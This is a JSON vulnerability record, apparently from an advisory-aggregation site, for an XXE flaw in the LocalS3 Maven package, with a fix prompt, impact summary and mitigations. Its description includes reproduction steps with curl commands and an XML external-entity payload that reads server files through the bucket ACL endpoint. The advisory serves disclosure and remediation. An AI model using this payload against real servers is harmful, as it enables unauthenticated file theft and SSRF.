{"answers":{"affected":"2 open source packages ship an affected version, including io.github.robothy:local-s3-rest.","exploited":"There is no known exploitation of GHSA-2466-4485-4pxj in the wild and no public exploit code.","fix":"Upgrade io.github.robothy:local-s3-rest to 1.21 or later.","what":"GHSA-2466-4485-4pxj is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-2466-4485-4pxj and fix it if it is affected.\n\nWhat it is: GHSA-2466-4485-4pxj is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-2466-4485-4pxj in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21\n- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-2466-4485-4pxj/ (Markdown: https://insights.sbomify.com/GHSA-2466-4485-4pxj/index.md)","id":"GHSA-2466-4485-4pxj","markdown":"https://insights.sbomify.com/GHSA-2466-4485-4pxj/index.md","name":"GHSA-2466-4485-4pxj","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"no_fix_stated","impacts":["data_read","denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"LocalS3 storage server","requires_auth":"none","summary":"An attacker can exploit XXE in LocalS3 bucket operations to read arbitrary server files or cause denial of service without authentication.","user_interaction":"not_required","vuln_class":"xxe"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Description\n\nThe LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.\n\nThe vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.\n\nThis type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.\n\n## Steps to Reproduce\n\n1. Create a test bucket using PUT request to http://[server]/[bucket-name]\n\n    ```\n    curl -X PUT \"http://app/xxe-test-bucket2\"```\n    ```\n\n2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:\n   ```\n   curl -X PUT \"http://app/xxe-test-bucket2?acl\" \\\n   -H \"Content-Type: application/xml\" \\\n   -d '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n   \u003c!DOCTYPE AccessControlPolicy [\n       \u003c!ENTITY xxe SYSTEM \"file:///etc/hostname\" \u003e\n   ]\u003e\n   \u003cAccessControlPolicy\u003e\n       \u003cOwner\u003e\n           \u003cID\u003e\u0026xxe;\u003c/ID\u003e\n           \u003cDisplayName\u003etest\u003c/DisplayName\u003e\n       \u003c/Owner\u003e\n       \u003cAccessControlList\u003e\n           \u003cGrant\u003e\n               \u003cGrantee xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"CanonicalUser\"\u003e\n                   \u003cID\u003etest\u003c/ID\u003e\n                   \u003cDisplayName\u003etest\u003c/DisplayName\u003e\n               \u003c/Grantee\u003e\n               \u003cPermission\u003eFULL_CONTROL\u003c/Permission\u003e\n           \u003c/Grant\u003e\n       \u003c/AccessControlList\u003e\n   \u003c/AccessControlPolicy\u003e'\n   ```\n\n3. Send a GET request to `http://[server]/[bucket-name]?acl` to retrieve the bucket ACL\n\n    ```\n    curl \"http://app/xxe-test-bucket2?acl\"\n    ```\n\nAfter performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.\n\n## Mitigations\n\n- Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true\n- Disable DOCTYPE declarations in the XML parser configuration\n- Implement XML input validation and sanitization before processing\n- Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary\n\n## Impact\n\nThe vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection","id":"GHSA-2466-4485-4pxj","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"xxe","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":["1.21"],"introduced":["0"],"last_affected":[],"package":"io.github.robothy:local-s3-rest","purl":null,"source":"GHSA-2466-4485-4pxj"},{"ecosystem":"Maven","fixed":["1.21"],"introduced":["0"],"last_affected":[],"package":"io.github.robothy:local-s3-rest","purl":"pkg:maven/io.github.robothy/local-s3-rest","source":"GHSA-2466-4485-4pxj"}],"products":null,"published":"2025-03-10","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can exploit XXE in LocalS3 bucket operations to read arbitrary server files or cause denial of service without authentication.","url":"https://insights.sbomify.com/GHSA-2466-4485-4pxj/"}